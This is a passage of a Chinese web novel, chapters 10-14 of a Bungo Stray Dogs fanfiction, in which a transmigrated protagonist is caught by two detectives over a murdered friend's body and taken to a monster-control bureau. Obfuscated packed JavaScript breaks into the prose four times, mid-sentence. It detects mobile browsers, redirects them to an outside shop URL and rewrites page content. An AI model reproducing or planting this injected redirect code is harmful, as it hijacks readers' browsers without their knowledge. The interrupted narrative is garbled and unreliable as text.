但国木田毕竟也不是常人。 很快,他就反应了过来—— 太宰既然会吃掉那片肉,这就说明,肉肯定只是普通的肉而已—— 那小子在忽悠他! “要先做该做的事……” 国木田深吸一口气,反复默念着自己手册上的话,松开按着太宰筷子的手,双手持枪对准了叶涟。 【检测到与一位图鉴人物关系由“陌生”变更为“仇敌”,获得一次抽牌机会。】 【当前抽牌机会:1】 【是否立即抽取卡牌?】 太宰也没再继续说话,轻轻揉着自己的肩膀,微笑着,偏头看向了叶涟。 他的眼中没有任何光线,暗得那里仿佛徒留着一片陡峭的深渊。 叶涟无所谓地看着黑洞洞的枪口。 他注意到的细节和国木田不一样。 国木田的注意力焦点,因为他的话而集中在了肉上。 而他听见刚才太宰说,“死者的位置”。 此前,国木田的问话,以及再之前的、其在门口说“预约了拜访”,无不表明,在两位侦探社社员的认知中,照片上的青年还活着。 毕竟如果确认死亡,且十六夜涟是嫌疑人,就不会预约拜访,而是直接上门了。 因此,在对方看来,照片上的青年大概率只是失踪而已。 但太宰突然冒出一句“死者”…… 叶涟也是没话说了,他只想笑。 这人怎么敏锐得和鬼一样。 他要举报有挂啊! 开局一个怪物,两个侦探社成员,全都来敲门。 而他自己呢,一睁眼,哇塞,尸体那是一具两具三四具,这里是尸体,那里也是尸体,客厅有尸体,厨房也有尸体。 搞不好卧室还有呢。 除了他这个倒霉鬼,其他人要么是boss,要么开挂,这种游戏怎么玩。 “你见过他?” 虽然是问句,但国木田的语气很笃定,眼神也锐利得可怕。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057391|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把你知道的事情全部说出来,不要有任何隐瞒。” 侦探社社员让你不要隐瞒,你瞒不瞒? 你死都得瞒! 因为这不是那种小偷小摸,犯罪也是有等级的啊! 一个人头在冰箱里,地上还这么多具尸体,已经不是普通交通肇事、或者偷砸抢等小打小闹,起码两星通缉起步吧。 问题是还没处躲去,消星都没法消。 难道还能直接坦白,然后说侦探大人我都死两次了,你这次放过我,下次真不会有尸体,我保证当个良民…… 能这样说吗? 叶涟闷头吃大饭。 现在再不吃饭,回头就得吃香喷喷的牢饭。 哦不对,要是不狡辩一下,这不就是断头饭吗。 “纸巾。”叶涟嚼着饭,含糊地说。 国木田:“?” 太宰绕过国木田,从茶几上抽了一张纸递给他。 “真棒。” 叶涟朝他竖了个大拇指,慢条斯理地擦了擦嘴,看向国木田: “我比较建议,你把枪对准门外的那个东西。” “什么?”国木田不解。 叶涟没解释。 他看着小地图中,显示在门口方向的那个蓝点,脸上浮现出了一个有点怪异的微笑。 下一秒,门外传来了敲门声…… 太宰和国木田同时朝那里望去。 叶涟则低下头,淡定地继续干饭。 怪物估计是不知道两个侦探社社员进了他家里,于是又回来了…… 呵…… 虽然以他本人的实力,只能击败零个怪物和零个侦探社社员,但敌人之间可以彼此对抗啊。 这个呢,就叫帝王心术,相互制衡,驱狼吞虎,借刀杀人…… 虽然他可能没法渔翁得利,不管哪一方赢,他的下场估计都不会很好。 但试问,谁不爱坐山观虎斗? 叶涟恨不得双方打起来,打得激烈一点。 无聊,他要看血流成河! “十六夜君,似乎很了解门外是什么呢——” 太宰忽然拉住了叶涟的手臂,“你家来客人了,快去开门吧?” “那不是我的客人。”叶涟头也不抬地说。 “唉,这样逃避可不好——” 太宰叹了口气,轻轻贴近他的耳边: “青木怜央的尸体,十六夜君还没能来得及处理吧?我猜,就在厨房里?” 11.第11章 六百六十六,演都不演了。这个人真有挂,连尸体在厨房都能知道。 他怎么敢假定尸体不在卧室? 难道就因为,刚才自己去的是厨房不是卧室? 真是岂有此理! 不过,也能得到一个信息,照片青年的名字叫青木怜央。 嗯,青木怜央…… 叶涟在破碎混乱的记忆中,检索了一下这个名字。 然后遗憾地发现…… 哇。 这个人,真的是十六夜涟杀的! 在十六夜涟那短暂又罪恶的一生中,他是小恶不断、大恶也有,干过的坏事加起来至少无期起步。 但亲手杀过的人,恰好就只有青木怜央这一位。 而侦探社的社员,找的恰好就是这个青木怜央! 本来吧,要是叶涟没穿越过来,太宰就能直接抓到真凶。 而假如叶涟刚才没找到那颗头,他也就不会暴露“青木怜央是一种生活在冰箱里的族群”。 结果,叶涟不但穿越过来,还正好去了厨房,又恰好在冰箱里翻到了一个头! 你说这事整的…… 本来就没招的叶涟,更是没招了。 这不是歪打正着吗。 别说跳进黄河,就是跳进银河都洗不清啊! 叶涟如叹息般笑了两下,放下碗筷,伸手将丝瓜丸子汤端过来,舀起一勺绿绿的汤。 趁其不备,一口喂到了太宰嘴里! 闭嘴吧,你这家伙! 开挂是不许说话的,这是老祖宗留下的规矩,祖宗之法不可变! “唔,咳咳咳……” 当太宰意识到发生什么,已经太迟了。 以他的反应速度,如果事先察觉到叶涟要把汤喂给自己,自然能够躲开。 但他没想过,这家伙捧起汤碗,竟然不是继续干饭,而是开始喂饭了。 受到惊吓后给别人喂汤? 这是什么奇葩的心理! 尤其是,这家伙喂汤的时候,甚至没有转头。 做了一个貌似自己要喝汤的假动作,然后以迅雷不及掩耳之势把汤塞给了旁边的人,一点儿都不在乎会不会喂到鼻子里! 堪称阴险狡诈、卑鄙无耻! 太宰上身后仰,飞速远离了汤勺,将头撇到一边去,把汤和黏糊糊的丝瓜全部吐在了地上。 “可悲的少年唷……你这样浪费粮食,是很不对的行为。” 叶涟慈爱地放下装丝瓜汤的碗,语重心长道: “你知道吗,全球有至少六亿人在挨饿,而澳大利亚有四千七百万只袋鼠,如果将这些袋鼠分给挨饿的人,平均每个人连零点一只袋鼠都分不到。你看,你不知道,你不在乎,你只关心你自己……” 太宰抽出一张纸,擦了擦自己的嘴,而后以谁也看不清的速度,夺走了国木田的枪。 “喂,太宰——” 国木田连忙抬起手,“你冷静一点……” “我确实不知道一个人能吃多少只袋鼠,但我知道,这个世界上没有活人吃过子弹。” 太宰的枪口抵着叶涟的嘴,脸上似乎是很疑惑: “这是怎么一回事呢,难道子弹不能吃吗?我真的很好奇,所以,十六夜君,你要不要试试成为一个生吃子弹的幸运儿?” “其实我比较喜欢吃熟的……” “哦,熟的啊。” 太宰点了点头,和蔼可亲地笑道:“你想几成熟?” ……这不对吧。 这个男人虽然不叫小帅,但他不是侦探社的吗? 侦探社不是主角阵营吗,主角不应该光明正直善良吗? 这种生吃过人的眼神是咋回事?! 十六夜涟杀一个人,都要急急忙忙把脑袋放进冰箱。 而眼前这个叫太宰治的,别说一个人了,说他杀过一百个,叶涟都信啊! 这都能进侦探社,那他只杀了一个的,岂不是直接当上侦探社社长了。 你们侦探社招人,不做背调的啊? 这种人能放进去?演他呢! “……哈哈。” 叶涟尝试将枪口移开,却发现太宰的手稳得可怕,根本移不开。 他又尝试将脑袋转到别的地方去,然而,太宰依然死死地瞄准着他。 莫名感觉有个“危”字正在自己脑门上蹦迪…… 叶涟尴尬地笑了笑: “你早说你不喜欢吃丝瓜嘛,你早说了,我不就不喂给你了?这么大火气,喝点丝瓜汤降降火正好。你不会真不爱喝丝瓜汤吧?难道你真的不爱喝丝瓜汤吗……” 没错,他就是在赌。 他赌太宰治既然加入侦探社,不管以前杀过多少人,现在便已是金盆洗手,放下屠刀、立地成佛…… 总之就是不会开枪! 最重要的是,有国木田在一旁看着。 国木田这种人,一看就很正直,不可能放任其搭档杀死一个无辜的……好吧,可能不那么无辜、但还没真正定罪的人。 “国木田君。” 太宰笑眯眯地说,“这位疑似吃掉失踪者,还杀死了三个人,如此穷凶极恶的犯罪分子,反抗过于激烈,因此,我们不得不当场将他击毙——我觉得非常合理呢。” “这个……” 国木田摸着下巴,也不劝太宰了,似乎是陷入了沉思。 ……不要一本正经地做出那种思考的模样啊! 国木田大哥,你那种严肃的表情、那酷似高中班主任的造型,不应该是守序阵营吗? 是守序阵营吧!是守序阵营就应该将罪犯绳之以法,施以法律的正义制裁…… 当场击毙是什么东西?! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073763|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好像也可以……”国木田点了点头。 在可以什么啊可以?! 叶涟都惊呆了。 反抗过于激烈? 反抗在哪呢请问? “等一下!” 叶涟连忙打断了国木田的话。 他深吸几口气,在两人的注视下,直接用碗喝了一口丝瓜汤压压惊。 旋即,才以郑重其事的表情道: “……君言正合我心,适才相戏耳。” “这样啊。” 太宰不知是失望还是愉快,微笑着抚了抚枪: “那就麻烦十六夜君去开门吧——” “……” 叶涟缓缓地站起身。 他绕过太宰和地上的尸体,往门口方向走。 走到一半,弱弱地回过头。 “这个门……它一定要开吗?” “对。” “……” 叶涟慢吞吞地将手搭在了门把手上,眼睛从猫眼向外看。 外面的灯还是坏的。 一片漆黑。 他再次弱弱地回过头: “我能不死吗?” 太宰什么都没说,脸上依然保持着微笑。 叶涟见状,叹了口气,缓缓压下门把手。 往好的方面想,有两个侦探社社员在,应该不至于让自己死掉。 更何况,听话照办,说不定有能加入侦探社的机会。 太宰那种杀了不知道多少个人的,都能加入侦探社…… 他这种纯良无害的,没道理加不进去吧! 叶涟想去侦探社,也不只是想为自己找个庇护所。 他主要是出于两点考虑。 第一点,是关于提升实力的。 虽然还认不全系统上的文字,但系统每次给出抽牌次数,都在见到其他人之后。 去侦探社,说不定能一下子得到大量抽牌机会。 第二点,依然是关于提升实力的。 如果侦探社没法为他提供大量抽牌机会,那他一个玩家,该怎么升级呢? 答案是打怪。 现在打不过侦探社,不代表以后打不过。 等找到合适的时机…… 就把他们统统杀了。 【抽牌结束。请从以下三张卡牌中任选一张。】 【“异能·独步吟客(体验卡)”:获得三次使用异能“独步吟客”的机会,并解锁任务“拟态:国木田独步”】 【“异能·人间失格(体验卡)”:获得一次使用异能“人间失格”的机会,使用后该异能持续时间为一天,并解锁任务“拟态:太宰治”】 【“称号·血肉艺术家”:佩戴该称号时,你受到的非致命伤能够快速痊愈,但同时获得“血肉思维”。血肉思维:吃什么补什么?你的思维蠕动着。】 12.第12章 开门前,叶涟抽了张牌。 这种事没什么好犹豫的,有永久的称号,试问哪个玩家会选体验卡? 体验卡要是能让他当一天无所不能的神,或者给他一个黑色小本本,那另当别论。 问题是,他也看不懂体验卡说的什么。 于是没什么意外地选择了称号。 黑色的卡牌卷入他的脑海,“血肉艺术家”这个名字,对常人来说可能有点掉san,但对玩家而言刚刚好。 能力是伤势快速痊愈,虽然限定了非致命伤,但也非常强大,很好很Love。 把握起来毫无难度嘛。 直接佩戴! 戴完称号,一如既往地没有感觉到多少变化,叶涟都有点习惯了。 他有些犹疑地想把口袋里的眼球糖吃掉。 首先,他不害怕,其次,他不害怕。 但在开门面对未知的风暴前,先存个档档,总是没错的。 毕竟万一死亡,下次未必能抽到这个称号。 但叶涟转念一想。 诶不对,眼球糖是五小抽合成了大抽牌,才好不容易抽出来。 而现在,他身上只有两小抽抽出来的两个称号,就这样用掉眼球糖的存档,未免有点浪费。 念及于此,叶涟就没有做多余的事情,径直打开了门。 站在门外的,赫然是一位怪物。 从表面上看,这怪物长得还挺像人。 不但是两脚直立猿,还有三只眼睛两个鼻子和一个嘴巴。 和人类不能说一模一样吧,简直就是毫无差别! 看啊,那血盆大口,那长长的舌头的颜色是多么鲜艳、且让人充满食欲! 那青一块紫一块的表皮,在美拉德反应下变成诱人的棕褐色,无时无刻不在飘来完美的香味! 而它的肉质,是那样的Q弹紧实、鲜嫩多汁,仅仅只是想想,就能想到入口之后会是多么的肥美! “砰!” 一声枪响。 肥美死了。 满是腥气的暗红血花,自怪物的头颅中爆开,溅了叶涟一身。 早知道开门前先穿上雨衣了。 叶涟微微皱了皱眉。 刚才没开瓢还不怎么觉得,现在开了脑袋盲盒,他发现这家伙好像不是很新鲜的样子。 “是最低级的伪人。” 国木田走过来仔细地看了几眼,他的手上不知何时拿出了一个小本子,见怪物死去,其又将本子收了回去。 太宰则保持着举枪的姿态,只不过,枪口移转向了叶涟。 “十六夜君好像在开门前,就知道门外是伪人呢?” 他微笑着站起身,瞥了地上的伪人尸体一眼。 国木田闻言,也想起了这个可疑的细节,紧紧盯着叶涟。 仿佛只要他有什么不一般的举动,就会当场将他拿下。 “我在被伪人袭击上,有着丰富的经验。”叶涟无辜道。 虽然是头一回听说,但他很自然地就使用了“伪人”这个词语。 其实他也不算撒谎。 前两次死亡,那个倒在他家门前的绷带精怪,以及城市中的可怖巨虎,说不定就是伪人。 “被袭击多了,会有伪人感应吗……”国木田低声喃喃着。 “那怎么可能啊。国木田君,这家伙是个骗子,他的话可不能相信。” 太宰笑道,“道理很简单,如果普通人能根据经验,拥有隔着门识别伪人的能力,防伪局一定会想尽办法将这种经验推广的。” “确实是这样……” 国木田恍然,看向叶涟的眼神更为警惕了。 这小子还不说实话? 忽悠了他一次,还想继续忽悠? 难道他看起来,就那么好忽悠吗? “好吧,其实……” 叶涟像是被识破,无可奈何地笑道: “我有在一定距离内,辨别人类和伪人的能力。” “异能力啊。”国木田点了点头。 “那倒不是。” 叶涟说,“可能是我太感性了,能一下感觉到,人类的肉质更加嫩滑可口,而伪人的肉,看似与人类一致,实则闻起来会有种腐朽的、被炭烤过的味道。” “……” 国木田忍无可忍,“不要再说一些莫名其妙的话!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079934|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这都是经验之谈。”叶涟振振有词地说。 “怎么可能有那种经验啊!” “也不是什么大不了的经验,经常吃人的朋友都知道。”叶涟笑眯眯地看着国木田。 国木田本来是不信的。 然而,当他抬起头,看见叶涟的目光,反驳的话忽然就卡在了嘴里。 这位说话总是令人细思极恐的青年,那双黑黢黢的眼瞳中,是怎样的视线啊…… 那种怪异的、仿佛饿了很久的人看见满汉全席的视线…… 为什么会出现在一个正注视着人类的人类身上? 这家伙…… 该不会真的不是人吧? 暴雨倾盆而下,雷声在屋外炸开。 白炽灯闪烁了几下,一道闪电划过,照得叶涟似笑非笑的侧脸在暗暗的环境中白若妖鬼。 国木田的后背,冷汗唰地一下就下来了。 他的枪呢…… 枪在太宰那! “好啦,国木田君。” 太宰浅浅地笑了笑,“十六夜君在骗你玩呢。” “……” 国木田稍微有些僵硬地转过头。 不…… 太宰是没看见叶涟的眼神、不是叶涟的注视目标。 否则,太宰也一定能断定,这家伙不是人类…… 国木田并不是没见过杀人犯,正相反,他跟着名侦探这么多年,什么样的罪犯没见过? 哪怕是真的吃人的罪犯,他也见过! 当时那罪犯的眼神,他一辈子都不会忘记,正是叶涟此刻的这种眼神! 如果没有真正尝试过,而只是模仿,这样的眼神和气场绝对模仿不出来! “他东扯西扯,只不过是想转移你的注意力而已。” 太宰微笑道,“如果只有国木田君一个人来,他可能会想办法把你杀掉吧。但我们有两个人,还有枪,所以,他其实是想让我们赶紧调查结束,报警,把地上的三具尸体、这个死掉的伪人,以及他,全都带走……” “这样一来,十六夜君就能让我们在恐惧中遗漏、然后设法隐藏住那个事实了——他杀死了青木怜央的事实。” 13.第13章 “什么?青木死了?” 叶涟一脸震惊,“谁说青木死了?太宰治我警告你啊,你不要凭空咒人死,青木活得好好的呢!你们找不到他也实属正常,他那个MBTI就是不爱回消息。等过几天,你们再打电话过去试试呢?” 那种属于猎捕者的眼神骤然消失,国木田这才松了口气。 他不动声色地退开几步,远离了叶涟。 一时也无力去吐槽什么。 刚才暗示说青木已成一盘菜的是你,现在说不要凭空咒人死的也是你,还说什么,那个MBTI就是不爱回消息……MBTI是什么?墓碑町?目标图?木板汤? 不对不对,重点应该是——青木怜央死了?! 太宰是在诈十六夜涟? 还是说,真的发现了某种线索,察觉到青木已死? 国木田的手,再度放在了自己的理想小本本上。 “还想狡辩吗?” 太宰打了个去厨房的手势。 “我盯着这家伙,国木田君,麻烦你去厨房找一找,想来能找到尸体。” 国木田应了一声,活动了一下有些僵硬的手脚,走进了厨房。 叶涟盯着太宰,喉咙动了动,没说话。 按理来说,他应该有一种恐慌的。 就像小时候,他趁家长不在家,偷偷玩电脑,然后在长辈回来时紧急关闭,但家长去摸电脑机箱试探温度…… 那种心存一丝侥幸、又即将暴露的恐慌。 然而此时,充斥在他的身躯中的恐惧和兴奋相互混淆。 以至于,他不但没有像往常那样大脑空白或愣在原地,反而衍生出了一种…… 食欲。 ……不行,太弱小了,打不过这两个人! 七步之外,枪快,七步之内,枪又准又快。 即使他新得到了快速痊愈的能力,也还是抵不过枪。 叶涟注视着太宰的枪口。 一点儿都不公平! 他一个新手玩家,竟然派两个侦探社社员来打他? 真是以多欺少,以大欺小,恃强凌弱…… 这种行为,应该强烈谴责! 其实…… 叶涟很希望打不过就加入。 在这个危险的世界,加入侦探社、加入主角阵营,不管怎么想,都多是一件美事…… 但青木的尸体即将被发现,似乎就没有了加入的选项。 本来,他的确如太宰所说,想让他们在发现冰箱中的头颅前就报警。 警方的视线,应该会被地上的尸体和伪人吸引。 说不定,太宰口中那个“防伪局”会接管此案。 虽然调查者可能还是会搜查冰箱……但至少,他们的注意力会首先集中在尸体以及伪人上。 这样一来,就能拖延一点时间—— 即使只拖半天,也能让十六夜涟背后的神秘组织“V”,来得及反应,而后选择出手。 不管V是想办法捞走叶涟,还是派其他人来毁尸灭迹,都能给叶涟一丝逃脱牢狱,或者摆脱罪名的机会。 况且,地上的三具尸体真的不是他杀的,且一看那张和他一模一样的脸,就能察觉到其中有猫腻。 叶涟努力努力,说不定能把地上尸体的成因推给伪人。 而假如侦探社的侦探名副其实,或许也能救一下他,还他一个清白。 这之间,存在着可操作的余地。 但青木怜央不一样。 青木怜央真的是十六夜涟杀的,这要怎么辩? 告诉他们,其实他叶涟不是十六夜涟? 十六夜涟杀的人,关他叶涟什么事? 他叶涟是一个平平无奇的伪人,杀死了十六夜涟,顶替了十六夜涟的身份? 若是说这样的大实话,怎么想都会死得更惨…… 而现在,青木的尸体被一下子找到。 叶涟,也将被当场逮捕。 他几乎能预见,警车哇偶哇偶地过来带走他,让他牢底坐穿…… 唉。 除非侦探社招人真的不做背调,否则他是没指望加入了。 事已至此,先吃饭吧。 饭才吃了一半呢。 叶涟舔了舔嘴唇,无视了太宰的枪口,绕回到小茶几前。 青椒炒肉已经光盘,他现在对丝瓜汤和番茄这等素食,没什么食欲,于是拿起了盒装的冰淇淋。 冰淇淋是从刚才冷冻层取出来的。 寻常人可能会有心理不适,但叶涟就不会顾虑那么多。 他舀了一口喂到嘴里。 嚯,冰冰凉凉草莓味。 他这种冷酷的人,就应该吃草莓味! 除了冰淇淋稍微融化了一点,其他的一切都很完美。 房屋的门没有关,伪人的尸体倒在地上。 风从门外呼呼地吹进来,冲散了房间内血腥沉闷的气味。 但也让伪人尸体的腐朽味道若有若无地传过来。 那头伪人在死掉后,尸体便高速腐烂,很快,就成了一滩黑漆漆的、质感像蜂蜜,但色彩又远比蜂蜜诡异的东西。 太宰看着叶涟,没有放下手中的枪。 他的心中有很多猜测。 不久前,他们侦探社收到了来自特务科的委托,调查一个名为青木怜央的异能者的失踪事件。 青木怜央的身世很寻常,正常得不像一个异能者,亲属等都没有可细查的地方。 于是,他们理所当然地发现了十六夜涟——青木怜央的好友。 在来这里之前,太宰有仔细看过十六夜涟的资料。 乍一看正常,但其账户里的不明资金、以及日常行迹都经不起细查。 一眼就能断定,此人与未知的犯罪组织有关系。 然而,十六夜涟是否能杀死青木怜央,是存疑的。 因为,青木是异能者,而十六夜并不是。 根据特务科提供的信息,青木的能力叫“背景板”,能淡化人类的存在感。 有这样的能力,作为普通人的十六夜涟,想杀死异能者青木怜央,并不容易。 假如十六夜涟真的是凶手,那么,有两种可能。 第一种可能,十六夜涟在青木怜央发动异能前,偷袭了他,一击必杀。 第二种可能,则是有旁人帮助十六夜涟,杀死了青木。 实际上…… 太宰不觉得十六夜涟是坏人。 至少起初,在窗外注视叶涟的时候,太宰不觉得他是坏人。 否则,他就不会阻止国木田的报警行为,表示先进屋谈谈了。 直到叶涟从厨房出来…… 那是第一次转变,叶涟的气质和眼神,发生了微妙的变化。 本来相对无害的叶涟,具备了怪异的危险气场。 而后来,给伪人开门的时候,那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083860|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危险气场,又发生了变化。 不但危险加倍,还更加怪异扭曲…… 难道说,这家伙…… 有多重人格? 就在这时,国木田从厨房走了出来。 他的手上戴着手套,脸色铁青。 “冰箱的冷冻层,黑色塑料袋里……装着青木的头。” 国木田的眼神,如箭一般,射向了叶涟。 哎呀,完蛋了。 虽然早知如此,叶涟心中还是暗叹一声。 看来过不了多久,又得重开了呢。 话说,他如今没有抽牌次数,不会直接死掉吧? 现在吃眼球糖还来得及吗? 似乎就算吃了,也没什么作用,会直接死档。 毕竟厨房里有青木的头,而他如今,也是死到临头。 “只有一颗头吗?”太宰问。 闻言,国木田的脸色更难看了。 “没有找到身体,只有头。在厨房发现,所以他的身体可能是……” 他联想到了什么,已经不需要再过多叙述。 “并非如此啊,长官!” 叶涟觉得,自己还能再垂死挣扎一下。 “我根本不知道你在说什么——要真是我杀了人,试问,怎么可能只剩一颗头呢?那么大一个人,我饿怕了,肯定是一口肉都不敢动啊!最多动一点点,不可能只剩一颗头的。” 太宰和国木田:“……?” 不如不辩解! “把他抓起来,移交警署吧。”国木田凝视着叶涟。 “不,等等,国木田君……” 太宰轻轻摇了摇头,“能看出青木的死因吗?” “头上没有致命伤。”国木田说。 “不知死因,也没找到凶器,目前还不能断定是他杀死了青木君……” 太宰说,“而且,这案子既涉及异能者,又涉及伪人……警署搞不定的,最好联系特务科和防伪局。” 他停顿了一下,又道,“不过,在那之前……我想带他回侦探社,请乱步先生看一看。” 这个十六夜涟太诡异了。 说是疑似多重人格,但太宰多观察了一会儿,又觉得不像。 此人如此古怪,假如名侦探出手,也许能理清一些事情。 国木田想了想,认可了太宰的话: “也行。” 他考虑的不是十六夜涟身上的谜团,而是整体事件的扑朔迷离,以及叶涟的危险性。 除此之外,他们侦探社要以乱步先生为中心——这件委托,让乱步先生划句号,更为合适。 叶涟眨了眨眼,勺子啪地一下掉到了冰淇淋盒子里。 这两人说什么,带他回侦探社? 已知,疑似接触异能者,就能获得抽牌机会。 侦探社是主角阵营,虽然他忘了剧情,但里面肯定有大量异能者。 带他回侦探社=白送N个抽牌机会。 有了抽牌机会,那么,离不断升级、身体充满力量,然后走上人生巅峰还远吗? 他都躺平做好开启监狱风云的准备了,结果还能峰回路转,柳暗花明?! 好人啊!太宰治,好人啊!大善人! 叶涟冰淇淋也不吃了,感激地看向太宰,举起双手,“我投降。” “?” 太宰迷惑地看着他。 什么情况,这家伙真有多重人格? 14.第14章 叶涟这么配合,倒是把太宰和国木田给整不会了。 太宰猜测,可能有另外的人杀死了青木,而十六夜涟只是协助者,或者受其所迫。 之所以这么配合,也许是在寻求侦探社的庇护。 几分钟后,从卧室搜出的行李箱,也从侧面证实了太宰的猜测。 两个黑色的小行李箱中,装着的赫然是青木怜央的身躯! 尸身上没有枪口,也没有明显的致命伤,如果青木怜央及时使用异能,十六夜涟是杀不了他的。 因此,青木怜央死亡时,很可能有他人在场。 叶涟盯着塞得满满当当的行李箱,以及……裹着尸体,但依然没能避免血液渗出的窗帘。 他就说,为什么窗帘不见了呢! 十六夜涟这家伙,还真是鬼才啊。 发现一具尸身塞不下,就把头放冰箱,然后将肢体分割开。 又发现血会渗出来流得到处都是,于是用窗帘包上…… 可能是准备先藏着,等到合适的时机,拿去沉海。 怎么不懂得用塑料袋或者雨衣呢? 窗帘但凡能有一点用,也不至于一点用都没有……! 不管三人心中如何作想。 两位侦探社社员联系了防伪局,让他们收走了伪人的尸体,并封锁了现场。 而后,几人坐着防伪局的公务用车,响着警笛,一路“维阿维阿”地驶向了一栋暗色的大楼。 “不是去侦探社吗?” 叶涟坐在车后排的羁押位,手上戴着不知什么材质的手铐。 防伪局的车辆设计得和警车类似,后座与前排之间,用一道复合材质的透明隔板分隔开。 稍有区别的是,后排没有车窗,连通风口都没有。 叶涟只能伸长脖子向前看,视线绕过座椅,通过车前窗勉强分辨外面的景色。 虽然他不怎么记得动漫里的剧情,但他记得,侦探社似乎是在市区里。 不可能越开越偏。 “十六夜君很了解侦探社的位置啊。” 太宰漫不经心道,“但是以前,也没有见你来发布过委托?” 他们本来是想回侦探社的。 但又是找到了全部的尸体,又是接到信息,防伪局再次展开特别清剿行动。 侦探社收到了协查函,几乎全去了防伪局,社里只有几个事务员在。 他们也就干脆不回去了。 “这种事情,想想就能知道,侦探社也是要开门营业的,总不可能开在偏僻郊区。”叶涟说。 “你好像很想跟我们回去?”太宰转头看向他。 “谁不想见见名侦探呢。” 叶涟随口道,“久仰名侦探大名,很早以前就想去要个签名,一直没有机会。” 话说…… 那个名侦探叫什么来着? 江户川、江户川……江户川柯南? 不对不对,那是另一个片场的。 死脑子快想啊! 名字很熟,他肯定知道,然而那个呼之欲出的名字,就是想不起来。 就像考试默写古诗,明明背得滚瓜烂熟,但有时就会很离奇地忘记,或者想起别的诗句。 比如仰天大笑出门去,叶涟现在想着下一句,想来想去,只能想起无人知是荔枝来。 车辆停稳。 几人押着叶涟下了车,打断了他的混乱思绪。 叶涟瞥了一眼大楼门边挂着的牌子。 “横滨市危险生物对策局”。 说好了去侦探社,结果说话不算话…… 骗他一个初出茅庐的穿越者,不讲武德! 叶涟的脑袋,一下子耷拉了下去。 整栋楼的范围很大,但入口的门很小,也就普通的卧室门大小,只能容两人通过。 门口有多重扫描的装置,走进去后,是一个不长但也不透明的通道。 通道旁,数名身穿制服的职员坐在窗口处,检查几人的证件。 “敦君,不是说出任务吗,怎么在这值班?” 太宰笑眯眯地,将自己的证件放在窗口底部的传递槽。 “太宰先生。刚才发生了一些事情……啊,回头再和您说吧。” 名为敦的白发少年仔细检查着他的证件,而在其身旁,一名扎着两条辫子的女孩静静地透过窗口盯着几人。 尤其是盯着叶涟。 眼神怪吓人的。 年纪虽小,等级不低啊…… 叶涟心中盘算着双方的战斗力,发现对方的战力如果算一百,自己的战斗力最多只有五…… 可恶,完全被吊打了…… “这样吗?没关系,我等会儿问问乱步先生,也能知道。” 太宰摆了摆手,看着仔细比对证件上文字和印章的敦。 “我好久没来防伪局……现在要检查得这么仔细?” “据说局势又要严峻起来了。”敦点了点头。 “这么严重?” 太宰说着,眼神飘向了叶涟。 这家伙之前展示了隔着房门辨别伪人的本领。 如果不是性情捉摸不透,又身负杀人嫌疑,十六夜君也许会很适合在这里工作。 过了好几分钟,总算是检查完毕。 通道尽头的门缓缓开启。 在两名全副武装的安保人员的带领下,他们走出通道,来到大厅。 也就是此时,几个人从电梯中走下来。 确切地说,是四个人。 两个站在一边,另外两个则泾渭分明地站在另一边。 一副彼此之间不熟的样子。 叶涟仔细看了几眼,都不认识,心中暗暗地将他们简单划分为了“学生组”和“社畜组”。 先说学生组的两位。 一个是少年,有着一头金发,头戴草帽,脚穿人字拖,稚嫩的脸上长着雀斑,很灿烂地笑着——和大楼的严肃氛围格格不入。 另一个则是高中生或者大学生的模样,穿着普通的白衬衫,眼神很清澈——像暑假临时工,出事第一个背锅的那种。 社畜组的两位呢,都穿着黑色的西服,一副很正经的模样。 一位梳着优雅的灰发背头,右眼戴着单片眼镜,相对年长——非常靠谱且有工作经验的成年人。 另一位则是个栗发青年,鼻子上贴着创口贴——旁边的靠谱前辈手把手带着的实习生后辈。 “贤治,谷崎。” 太宰和国木田朝学生组的两位打了招呼。 社畜组的两位盯着太宰瞧了数秒,之后便目不斜视地从旁边的侧门离开了大楼。 叶涟此时没空听他们在聊什么。 因为在他见到四人之后,系统便弹出了信息: 【检测到图鉴人物,获得四次抽牌机会。】 【当前抽牌机会:4】 【是否立即抽取卡牌?】 